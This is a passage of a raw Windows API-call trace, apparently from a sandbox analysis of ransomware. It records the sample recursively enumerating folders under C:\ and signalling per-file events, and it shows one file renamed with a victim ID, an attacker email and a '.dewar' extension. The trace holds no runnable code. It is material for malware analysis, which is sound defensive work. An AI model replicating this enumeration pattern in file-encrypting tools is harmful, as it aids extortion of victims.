[0214.579] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.579] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0214.579] FindClose (in: hFindFile=0x599168 | out: hFindFile=0x599168) returned 1 [0214.579] GetProcessHeap () returned 0x560000 [0214.579] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0214.579] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x68cf0210, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x68cf0210, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6918ccb0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="BOOTSE~1.DEW")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0214.580] GetProcessHeap () returned 0x560000 [0214.580] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b54190 [0214.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="卷\x8cᜈW鵐Z\x80")) returned 0xffffffff [0214.585] GetProcessHeap () returned 0x560000 [0214.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b54190 | out: hHeap=0x560000) returned 1 [0214.585] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0214.585] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa97a94a0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0214.586] GetProcessHeap () returned 0x560000 [0214.586] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b54190 [0214.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="卷\x8cᜈW鵐Z\x80")) returned 0xffffffff [0214.586] GetProcessHeap () returned 0x560000 [0214.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b54190 | out: hHeap=0x560000) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa7c23640, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0214.587] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0214.587] GetProcessHeap () returned 0x560000 [0214.587] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b54190 [0214.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="卷\x8cᜈW鵐Z\x80")) returned 0xffffffff [0214.587] GetProcessHeap () returned 0x560000 [0214.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b54190 | out: hHeap=0x560000) returned 1 [0214.588] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0214.588] GetProcessHeap () returned 0x560000 [0214.588] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b54190 [0214.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.588] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.588] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0214.589] GetProcessHeap () returned 0x560000 [0214.589] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b64198 [0214.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b74988 [0214.589] FindNextFileW (in: hFindFile=0x2b74988, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.589] FindNextFileW (in: hFindFile=0x2b74988, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0214.590] GetProcessHeap () returned 0x560000 [0214.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0214.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599168 [0214.591] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.591] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0214.591] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0214.591] FindClose (in: hFindFile=0x599168 | out: hFindFile=0x599168) returned 1 [0214.592] GetProcessHeap () returned 0x560000 [0214.592] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0214.592] FindNextFileW (in: hFindFile=0x2b74988, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0214.592] GetProcessHeap () returned 0x560000 [0214.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0214.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599168 [0214.592] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.593] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0214.593] GetProcessHeap () returned 0x560000 [0214.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0214.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0214.993] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.993] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0214.993] SetEvent (hEvent=0x144) returned 1 [0214.994] ResetEvent (hEvent=0x148) returned 1 [0215.007] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0215.008] SetEvent (hEvent=0x144) returned 1 [0215.008] ResetEvent (hEvent=0x148) returned 1 [0215.015] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0215.015] SetEvent (hEvent=0x144) returned 1 [0215.016] ResetEvent (hEvent=0x148) returned 1 [0215.024] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0215.025] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0215.025] GetProcessHeap () returned 0x560000 [0215.025] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0215.025] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0215.025] GetProcessHeap () returned 0x560000 [0215.025] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0215.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0215.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.026] GetProcessHeap () returned 0x560000 [0215.026] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.027] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.027] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0215.028] SetEvent (hEvent=0x144) returned 1 [0215.028] ResetEvent (hEvent=0x148) returned 1 [0215.031] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0215.031] FindClose (in: hFindFile=0x65bc08 | out: 